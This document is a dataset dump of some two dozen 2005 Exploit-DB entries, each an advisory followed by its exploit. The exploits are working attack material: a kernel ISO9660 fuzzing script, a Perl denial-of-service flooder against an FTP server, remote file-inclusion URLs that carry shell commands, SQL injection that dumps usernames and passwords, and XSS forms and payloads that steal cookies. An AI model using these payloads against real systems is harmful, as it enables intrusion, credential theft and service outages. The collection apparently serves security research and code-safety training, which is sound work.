QLWD/code_shield huggingface dataset:
标题: Icecast 2.x - XSL Parser Multiple Vulnerabilities EDB-ID: 25238 CVE: 2005-0838 类型: REMOTE 平台: MULTIPLE 发布日期: 2005-03-18 漏洞利用脚本: source: https://www.securityfocus.com/bid/12849/info

Icecast is reported prone to multiple vulnerabilities. The following individual issues are reported:

Icecast XSL parser is reported to be prone to a buffer overflow vulnerability. This issue exists due to a lack of sufficient boundary checks performed on certain XSL tag values before copying these values into a finite buffer in process memory. It is reported that the vulnerability manifests when a malicious XSL file is parsed by the affected software.

This issue may potentially be exploited to deny service for legitimate users or potentially execute arbitrary code in the context of the user that is running the affected software. This is not confirmed.

It is reported that the Icecast XSL parser is prone to an information disclosure vulnerability. It is reported that the parser fails to parse XSL files when a request for such a file is appended with a dot '.' character.

A remote attacker may exploit this vulnerability to disclose the contents of XSL files that can be requested publicly.

These vulnerabilities are reported to affect Icecast version 2.20, other versions might also be affected. 

<xsl:when test="<lots of chars>"></xsl:when>
<xsl:if test="<lots of chars>"></xsl:if>
<xsl:value-of select="<lots of chars>" />

GET /auth.xsl. HTTP/1.0
GET /status.xsl. HTTP/1.0 URL: https://www.exploit-db.com/exploits/25238
标题: Linux Kernel 2.4.x/2.6.x - Multiple ISO9660 Filesystem Handling Vulnerabilities EDB-ID: 25234 CVE: 2005-0815 类型: DOS 平台: LINUX 发布日期: 2005-03-17 漏洞利用脚本: # source: https://www.securityfocus.com/bid/12837/info
#
# The Linux kernel is reported prone to multiple vulnerabilities that occur because of "range-checking flaws" present in the ISO9660 handling routines.
#
# An attacker may exploit these issues to trigger kernel-based memory corruption. Ultimately, the attacker may be able to execute arbitrary malicious code with ring-zero privileges.
#
# These vulnerabilities are reported to be present in the ISO9660 filesystem handler including Rock Ridge and Juliet extensions for the Linux kernel up to and including version 2.6.11.
#


#!/bin/bash

cd /tmp || exit 1

echo '[*] Compiling mangler...'

cat >mangle.c <<_EOF_
char buf[10240];
main() {
  int i,x;
  srand(time(0) ^ getpid());
  while ( (i = read(0,buf,sizeof(buf))) > 0) {
    x = rand() % (i/20);
    while (x--) buf[rand() % i] = rand();
    write(1,buf,i);
  }
}
_EOF_

gcc -O3 mangle.c -o mangle || exit 1
rm -f mangle.c

echo '[*] Preparing ISO master (feel free to alter this code)...'

mkdir cd_dir || exit 1
cd cd_dir

CNT=0
while [ "$CNT" -lt "200" ]; do
  mkdir A; cd A
  CNT=$[CNT+1]
done

cd /tmp/cd_dir

A=`perl -e '{print "A"x255}' 2>/dev/null`
CNT=0
while [ "$CNT" -lt "3" ]; do
  mkdir "$A"; cd "$A"
  CNT=$[CNT+1]
done

cd /tmp

echo '[*] Creating image (alter filesystem or parameters as needed)...'

mkisofs -U -R -J -o cd.iso cd_dir 2>/dev/null || exit 1
rm -rf cd_dir

echo '[*] STRESS TEST PHASE...'

while :; do
  DIR="/tmp/cdtest-$$-$RANDOM"
  mkdir "$DIR"
  dmesg -c 2>/dev/null
  cat cd.iso | ./mangle >cd_mod.iso
  mount -t iso9660 -o loop,ro /tmp/cd_mod.iso "$DIR" 2>/dev/null
  # ls -lAR "$DIR" - Uncomment if you like when it HURTS...
  umount "$DIR" 2>/dev/null
  rm -rf "$DIR" 2>/dev/null
  FAULT=`dmesg | grep -Ei 'oops|unable to handle'`
  test "$FAULT" = "" || break
done

dmesg | tail -30

echo '[+] Something found (/tmp/cd-mod.iso)...'

rm -f cd.iso mangle
exit 0 URL: https://www.exploit-db.com/exploits/25234
标题: ACS Blog 0.8/0.9/1.0/1.1 - 'search.asp' Cross-Site Scripting EDB-ID: 25233 CVE: 2005-0802 类型: WEBAPPS 平台: ASP 发布日期: 2005-03-17 漏洞利用脚本: source: https://www.securityfocus.com/bid/12836/info

ACS Blog is reportedly affected by a cross-site scripting vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input.

An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. 

http://www.example.com//search.asp?search=%22%3Cbr%3E%3Ciframe+src%3D%22http%3A%2F%2Fgoogle.com%22%3E%3C%2Fiframe%3E URL: https://www.exploit-db.com/exploits/25233
标题: CoolForum 0.5/0.7/0.8 - 'avatar.php?img' Cross-Site Scripting EDB-ID: 25239 CVE: 2005-0857 类型: WEBAPPS 平台: PHP 发布日期: 2005-03-19 漏洞利用脚本: source: https://www.securityfocus.com/bid/12852/info

Multiple remote input validation vulnerabilities affect CoolForum. These issues are due to a failure of the application to properly sanitize user-supplied input prior to using it to carry out critical functionality.

Multiple SQL injection vulnerabilities have been reported and a cross-site scripting vulnerability is also reported.

An attacker may leverage these issues to manipulate and view arbitrary database contents by exploiting the SQL injection issues, and to have arbitrary script code executed in the browser of an unsuspecting user by exploiting the cross-site scripting vulnerabilities. 

avatar.php?img=<script>alert(document.cookie)</script> URL: https://www.exploit-db.com/exploits/25239
标题: PHPOpenChat 2.3.4/3.0.1 - 'poc_loginform.php?phpbb_root_path' Remote File Inclusion EDB-ID: 25227 CVE: 2005-0862 类型: WEBAPPS 平台: PHP 发布日期: 2005-03-15 漏洞利用脚本: source: https://www.securityfocus.com/bid/12817/info

PHPOpenChat is prone to multiple remote file-include vulnerabilities.

An attacker may leverage these issues to execute arbitrary server-side script code on an affected computer with the privileges of the webserver process. This may facilitate unauthorized access.

PHPOpenChat 3.0.1 and prior versions are reported prone to this issue. 

http://www.example.com/phpopenchat/contrib/phpbb/alternative2/phpBB2_root/poc_loginform.php?phpbb_root_path=http://www.example.com/asc?&cmd=uname%20-a;w;id;pwd;ps URL: https://www.exploit-db.com/exploits/25227
标题: McNews 1.x - 'install.php' Arbitrary File Inclusion EDB-ID: 25232 CVE: 2005-0800 类型: WEBAPPS 平台: PHP 发布日期: 2005-03-17 漏洞利用脚本: source: https://www.securityfocus.com/bid/12835/info

mcNews is reportedly affected by a remote file include vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input to the 'install.php' script.

This issue is reported to affect mcNews versions 1.3 and prior. 

http://www.example.com/path/to/mcnews/admin/install.php?l=http://www.example.com URL: https://www.exploit-db.com/exploits/25232
标题: PHPOpenChat 2.3.4/3.0.1 - 'poc.php' Remote File Inclusion EDB-ID: 25228 CVE: 2005-0862 类型: WEBAPPS 平台: PHP 发布日期: 2005-03-15 漏洞利用脚本: source: https://www.securityfocus.com/bid/12817/info
 
PHPOpenChat is prone to multiple remote file-include vulnerabilities.
 
An attacker may leverage these issues to execute arbitrary server-side script code on an affected computer with the privileges of the webserver process. This may facilitate unauthorized access.
 
PHPOpenChat 3.0.1 and prior versions are reported prone to this issue. 

http://www.example.com/phpopenchat/contrib/phpnuke/poc.php?poc_root_path=http://www.example.com/asc?&cmd=uname%20-a;w;id;pwd;ps

http://www.example.com/phpopenchat/contrib/yabbse/poc.php?sourcedir=http://www.example.com/asc?&cmd=uname%20-a;w;id;pwd;ps URL: https://www.exploit-db.com/exploits/25228
标题: Microsoft Windows XP/2000/2003 - Graphical Device Interface Library Denial of Service EDB-ID: 25231 CVE: 2005-0803 类型: DOS 平台: WINDOWS 发布日期: 2005-03-17 漏洞利用脚本: source: https://www.securityfocus.com/bid/12834/info

Reportedly, a denial of service vulnerability affects Microsoft Windows GDI library 'gdi32.dll'. This issue is due to a failure of the application to securely copy data from malformed EMF image files.

An attacker may leverage this issue to trigger a denial of service condition in software implementing the vulnerable library. Other attacks may also be possible. 

A hex dumped EMF file:
-------------------------------------------------------
0000000 01 00 00 00 64 00 00 00 93 00 00 00 02 00 00 00
0000010 83 01 00 00 39 01 00 00 00 00 00 00 00 00 00 00
0000020 d1 08 00 00 be 06 00 00 20 45 4d 46 00 00 01 00
0000030 78 00 00 00 17 00 00 00 03 00 00 00 0f 00 00 00
0000040 64 00 00 00 41 00 00 00 c8 12 00 00 c2 1a 00 00
0000050 cc 00 00 00 22 01 00 00 00 00 00 00 00 00 00 00
0000060 00 00 00 00 0e 00 00 00 14 00 00 00 41 00 00 00
0000070 41 42 43 44 00 00 01 ff
------------------------------------------------------- URL: https://www.exploit-db.com/exploits/25231
标题: Subdreamer 1.0 - SQL Injection EDB-ID: 25235 CVE: 2005-0805 类型: WEBAPPS 平台: PHP 发布日期: 2005-03-18 漏洞利用脚本: source: https://www.securityfocus.com/bid/12839/info

Subdreamer is prone to an SQL injection vulnerability.

Because of this, a malicious user may influence database queries in order to view or modify sensitive information, potentially compromising the software or the database.

Subdreamer Light is reported to be affected by this issue. All versions of Subdreamer Light are considered to be vulnerable at the moment. 

http://www.example.com/index.php?categoryid=3&p17_sectionid=1&p17_imageid=[SQL code] URL: https://www.exploit-db.com/exploits/25235
标题: PHPOpenChat 2.3.4/3.0.1 - 'ENGLISH_poc.php' Remote File Inclusion EDB-ID: 25229 CVE: 2005-0862 类型: WEBAPPS 平台: PHP 发布日期: 2005-03-15 漏洞利用脚本: source: https://www.securityfocus.com/bid/12817/info
  
PHPOpenChat is prone to multiple remote file-include vulnerabilities.
  
An attacker may leverage these issues to execute arbitrary server-side script code on an affected computer with the privileges of the webserver process. This may facilitate unauthorized access.
  
PHPOpenChat 3.0.1 and prior versions are reported prone to this issue. 

http://www.example.com/phpopenchat/contrib/phpnuke/ENGLISH_poc.php?poc_root_path=http://www.example.com/asc?&cmd=uname%20-a;w;id;pwd;ps URL: https://www.exploit-db.com/exploits/25229
标题: PHPOpenChat 3.0.1 - Multiple HTML Injection Vulnerabilities EDB-ID: 25236 CVE: 2005-0863 类型: WEBAPPS 平台: PHP 发布日期: 2005-03-18 漏洞利用脚本: source: https://www.securityfocus.com/bid/12841/info

PHPOpenChat is reportedly affected by multiple remote HTML injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input before using it in dynamically generated content.

Attacker-supplied HTML and script code would be able to access properties of the site, potentially allowing for theft of cookie-based authentication credentials. An attacker could also exploit this issue to control how the site is rendered to the user; other attacks are also possible. 

<html>
<head>
<title>PHPOpenChat v3.x XSS Exploit</title>
</head>
<body>
<h1>PHPOpenChat v3.x XSS Exploit</h1>
<form method="POST" action="http://www.example.com/regulars.php">
  <b>XSS in regulars.php:</b><p>
  <input type="text" name="chatter" size="48" value="XSS Injection
Code"></p>
  </p>
  <p>exmple:
<script>document.write(document.cookie)</script></p>
  <p><input type="submit" style="width:80px" value="Excute" name="B1"></p>
</form>
<form method="POST" action="http://www.example.com/register.php">
  <b>XSS in register.php:</b><p>
  Nikname:
  <input type="text" name="chatter" size="48" value="XSS Injection
Code"></p>
  <p>
  Password:
  <input type="text" name="chatter1" size="48" value="XSS Injection
Code"></p>
  <p>
  FirstName LastName:
  <input type="text" name="chatter2" size="48" value="XSS Injection
Code"></p>
  <p>
  Email:
  <input type="text" name="chatter3" size="48" value="XSS Injection
Code"></p>
  <p>
  Url of picture:
  <input type="text" name="chatter4" size="48" value="XSS Injection
Code"></p>
  </p>
  <p>exmple:
<script>document.write(document.cookie)</script></p>
  <p><input type="submit" style="width:80px" value="Excute" name="B1"></p>
</form>
<p>&nbsp;</p>
<p align="center"><a
href="http://www.PersianHacker.NET">www.PersianHacker.NET</a></p>
</body>
</html> URL: https://www.exploit-db.com/exploits/25236
标题: HolaCMS 1.2.x/1.4.x Voting Module - Directory Traversal Remote File Corruption EDB-ID: 25222 CVE: 2005-0796 类型: WEBAPPS 平台: PHP 发布日期: 2005-03-13 漏洞利用脚本: source: https://www.securityfocus.com/bid/12799/info

HolaCMS is prone to a vulnerability that may allow remote users to corrupt files on the server.

This issue is similar to the vulnerability described in BID 12789 (HolaCMS Voting Module Remote File Corruption Vulnerability). It is reported that HolaCMS 1.4.9-1, which was released to address the issue in BID 12789 is still vulnerable to a variant of that issue.

Specifically, an attacker can bypass the fix introduced in HolaCMS 1.4.9-1 by including directory traversal sequences in the path to a target file.

HolaCMS 1.4.9-1 and prior versions are affected by this issue.

<form action="http://www.example.com/[site-with-vote].php?vote=1" method="POST">
<input type="hidden" name="vote_filename" value="holaDB/votes/../../admin/multiuser/multiuser.php">
<input type="hidden" name="result" value="0">
<input type="submit" value="Stimme abgeben" name="button">
</form> URL: https://www.exploit-db.com/exploits/25222
标题: PAFileDB 1.1.3/2.1.1/3.0/3.1 - 'viewall.php?start' SQL Injection EDB-ID: 25213 CVE: 2005-0781 类型: WEBAPPS 平台: PHP 发布日期: 2005-03-12 漏洞利用脚本: source: https://www.securityfocus.com/bid/12788/info

Multiple SQL injection and cross-site scripting vulnerabilities exist in paFileDB. These issues are reported to exist in the 'viewall.php' and 'category.php' scripts.

Exploitation of these issues may allow for compromise of the software, session hijacking, or attacks against the underlying database. 

http://www.example.com/[pafiledb_dir]/pafiledb.php?action=viewall&start='&sortby=rating URL: https://www.exploit-db.com/exploits/25213
标题: SimpGB 1.0 - 'Guestbook.php' SQL Injection EDB-ID: 25224 CVE: 2005-0786 类型: WEBAPPS 平台: PHP 发布日期: 2005-03-14 漏洞利用脚本: source: https://www.securityfocus.com/bid/12801/info

SimpGB is reportedly affected by an SQL injection vulnerability. This issue is due to the application failing to properly sanitize user-supplied input passed to the 'guestbook.php' script before using it in a SQL query.

This vulnerability could permit remote attackers to pass malicious input to database queries, resulting in modification of query logic or other attacks. 

http://www.example.com/simpgb/guestbook.php?lang=de&mode=new&quote=-1%20UNION%20SELECT%200,0,username,0,password,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0%20FROM%20simpgb_users%20WHERE%201 URL: https://www.exploit-db.com/exploits/25224
标题: Phorum 5.0.14 - Multiple Subject and Attachment HTML Injection Vulnerabilities EDB-ID: 25223 CVE: 2005-0783 类型: WEBAPPS 平台: PHP 发布日期: 2005-03-14 漏洞利用脚本: source: https://www.securityfocus.com/bid/12800/info

Phorum is reportedly affected by multiple HTML injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input before using it in dynamically generated content.

The attacker-supplied HTML and script code would be able to access properties of the site, potentially allowing for theft of cookie-based authentication credentials. An attacker could also exploit this issue to control how the site is rendered to the user; other attacks are also possible.

These issues are reported to affect Phorum 5.0.14; earlier versions may also be affected. 

test<script language='Javascript' src='http:&#47;&#47;www.example.com&#47;test.js'>.txt URL: https://www.exploit-db.com/exploits/25223
标题: PlatinumFTPServer 1.0.18 - Multiple Malformed User Name Connection Denial of Service Vulnerabilities EDB-ID: 25218 CVE: 2005-0779 类型: DOS 平台: WINDOWS 发布日期: 2005-03-05 漏洞利用脚本: source: https://www.securityfocus.com/bid/12790/info

PlatinumFTPServer is prone to a denial-of-service vulnerability. This issue is reported to occur when a remote user makes 50 or more connections that attempt to authenticate with a malformed user name. 

#!/usr/bin/perl
# plftpdos1.pl - Remote DoS against PlatinumFTP 10.1.18 using \
# 
# If you don't get the server down try to change/play a little bit with
# the Timeout

# 2005/05/03
#
# ports at securityforest dot com | greetings to muts, barabas, s|33py,
# revised and all guys at www.whitehat.co.il


use strict;
use Net::FTP;

my $host;
my $username = '\\';

if ($#ARGV < 0) { &syntax(); }
$host = @ARGV[0]; 

my $ftp = Net::FTP->new($host, Timeout => 2, Debug => 0, Port => 21) or die "can you see a ftp server? i can't.\n";

print "denial of service in progress\n";

while (my $ftp = Net::FTP->new($host, Timeout => 2, Debug => 0, Port => 21))
{
    my $ftp = Net::FTP->new($host, Timeout => 0.1, Debug => 0, Port => 21);
    $ftp->login($username);
}

print "server is down. now run forest, RUN!\n";

sub syntax {
    print "\nUsage: pftpdos1.pl IP\n";
    exit (1);
    } URL: https://www.exploit-db.com/exploits/25218
标题: PAFileDB 1.1.3/2.1.1/3.0/3.1 - 'category.php?start' SQL Injection EDB-ID: 25214 CVE: 2005-0781 类型: WEBAPPS 平台: PHP 发布日期: 2005-03-12 漏洞利用脚本: source: https://www.securityfocus.com/bid/12788/info
 
Multiple SQL injection and cross-site scripting vulnerabilities exist in paFileDB. These issues are reported to exist in the 'viewall.php' and 'category.php' scripts.
 
Exploitation of these issues may allow for compromise of the software, session hijacking, or attacks against the underlying database. 

http://www.example.com/[pafiledb_dir]/pafiledb.php?action=category&start='&sortby=rating URL: https://www.exploit-db.com/exploits/25214
标题: PAFileDB 1.1.3/2.1.1/3.0/3.1 - 'category.php?start' Cross-Site Scripting EDB-ID: 25216 CVE: 2005-0782 类型: WEBAPPS 平台: PHP 发布日期: 2005-03-12 漏洞利用脚本: source: https://www.securityfocus.com/bid/12788/info
   
Multiple SQL injection and cross-site scripting vulnerabilities exist in paFileDB. These issues are reported to exist in the 'viewall.php' and 'category.php' scripts.
   
Exploitation of these issues may allow for compromise of the software, session hijacking, or attacks against the underlying database. 

http://www.example.com/[pafiledb_dir]/pafiledb.php?action=category&start="><iframe%20src=http://www.securityreason.com></iframe>&sortby=date URL: https://www.exploit-db.com/exploits/25216
标题: PHPAdsNew 2.0.4 - 'AdFrame.php' Cross-Site Scripting EDB-ID: 25225 CVE: 2005-0791 类型: WEBAPPS 平台: PHP 发布日期: 2005-03-14 漏洞利用脚本: source: https://www.securityfocus.com/bid/12803/info

phpAdsNew is reportedly affected by a remote cross-site scripting vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input.

An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user. This may facilitate the theft of cookie-based authentication credentials as well as other attacks.

http://www.example.com/[phpAdsNew]/adframe.php?refresh=example.com'>[XSS code] URL: https://www.exploit-db.com/exploits/25225
标题: HolaCMS 1.2/1.4.x Voting Module - Remote File Corruption EDB-ID: 25217 CVE: 2005-0795 类型: WEBAPPS 平台: PHP 发布日期: 2005-03-12 漏洞利用脚本: source: https://www.securityfocus.com/bid/12789/info

HolaCMS is prone to a vulnerability that may allow remote users to corrupt files on the server. This is due an input validation error that allows users to submit voting data to an attacker-specified file.

It has been demonstrated that the issue may be exploited to compromise HolaCMS. Arbitrary system files may also be corrupted in the context of the Web server process. Though unconfirmed, it may be possible to execute arbitrary code by corrupting scripts on the computer. 

<form action="http://www.example.com/[site-with-vote].php?vote=1" method="POST">
<input type="hidden" name="vote_filename" value="admin/multiuser/multiuser.php">
<input type="hidden" name="result" value="0">
<input type="submit" value="Stimme abgeben" name="button">
</form> URL: https://www.exploit-db.com/exploits/25217
标题: PAFileDB 1.1.3/2.1.1/3.0/3.1 - 'viewall.php?start' Cross-Site Scripting EDB-ID: 25215 CVE: 2005-0782 类型: WEBAPPS 平台: PHP 发布日期: 2005-03-12 漏洞利用脚本: source: https://www.securityfocus.com/bid/12788/info
  
Multiple SQL injection and cross-site scripting vulnerabilities exist in paFileDB. These issues are reported to exist in the 'viewall.php' and 'category.php' scripts.
  
Exploitation of these issues may allow for compromise of the software, session hijacking, or attacks against the underlying database. 

http://www.example.com/[pafiledb_dir]/pafiledb.php?action=viewall&start="><iframe%20src=http://www.securityreason.com></iframe&gt;&amp;sortby=rating URL: https://www.exploit-db.com/exploits/25215
标题: Mozilla Suite/Firefox/Thunderbird - Nested Anchor Tag Status Bar Spoofing EDB-ID: 25221 CVE: 2005-4809 类型: REMOTE 平台: LINUX 发布日期: 2005-03-14 漏洞利用脚本: source: https://www.securityfocus.com/bid/12798/info

Mozilla Suite/Firefox and Thunderbird are reported prone to a URI obfuscation weakness. The issue is reported to manifest when 'Save Link As...' functionality is invoked on an malicious anchor tag.

This issue may be leveraged by an attacker to display false information in the status bar of an unsuspecting user, allowing an attacker to present downloads to users that seem to originate from a trusted location. This may facilitate attacks based on this false sense of trust. 

<h1>Firefox 1.01 : spoofing status bar without using JavaScript</h1>
<p>Save the New Features about Firefox 1.02 ( PDF 20K )</p>
<p>Right Click and Save Link as ...<p>
<div>

<a href="http://www.mozilla.org/features_ff102.pdf">
<table><tr><td>
<a href="http://www.tpc.org/tpch/spec/tpch2.1.0.pdf">download : http://www.mozilla.org/features_ff102.pdf
</a><!-- first -->
</td></tr></table>
</a><!-- second -->

</div> URL: https://www.exploit-db.com/exploits/25221
标题: PY Software Active Webcam 4.3/5.5 - WebServer Multiple Vulnerabilities EDB-ID: 25207 CVE: 2005-0731 类型: REMOTE 平台: WINDOWS 发布日期: 2005-03-10 漏洞利用脚本: source: https://www.securityfocus.com/bid/12778/info

Active Webcam webserver is reported prone to multiple vulnerabilities. The following individual issues are reported:

The first issue, a denial of service is reported to manifest when a request is received for a file that exists on a floppy drive.

A remote attacker may exploit this issue to deny service for legitimate users.

A denial of service is reported to exist when the 'Filelist.html' file is requested.

A remote attacker may exploit this issue to deny service for legitimate users.

An installation path disclosure vulnerability is reported to affect Active Webcam. It is reported that a request for a non-existent file will result in an error message that contains the installation path of the software.

A remote attacker may exploit this issue to gain information regarding the filesystem on a target computer.

An information disclosure vulnerability is reported to affect Active Webcam. It is reported that this vulnerability exists because different error messages are returned to a request for a file depending on whether the file exists or not.

A remote attacker may exploit this issue to gain information regarding the filesystem on a target computer. 

http://www.example.com:8080/Filelist.html
http://www.example.com:8080/A:\a.txt
http://www.example.com:8080/a URL: https://www.exploit-db.com/exploits/25207
标题: All Enthusiast PhotoPost PHP Pro 5.0 - 'adm-photo.php' Arbitrary Image Manipulation EDB-ID: 25208 CVE: 2005-0776 类型: WEBAPPS 平台: PHP 发布日期: 2005-03-10 漏洞利用脚本: source: https://www.securityfocus.com/bid/12779/info

PhotoPost PHP Pro is a web-based image gallery application written in PHP. It can be implemented on any platform that supports PHP script execution.

Multiple remote vulnerabilities affect All Enthusiast PhotoPost PHP Pro. These issues are due to a failure of the application to validate access rights and user-supplied input.

The first issue is an access validation issue that may allow attackers to manipulate images uploaded by arbitrary users. The second issue is a cross-site scripting vulnerability.

An attacker may leverage these issues to execute script code in an unsuspecting user's browser and to bypass authentication to execute certain application commands.

http://www.example.com/photopost/adm-photo.php?ppaction=manipulate&pid=[IMAGE ID]&dowhat=rebuildthumb&dowhat=rotateccw URL: https://www.exploit-db.com/exploits/25208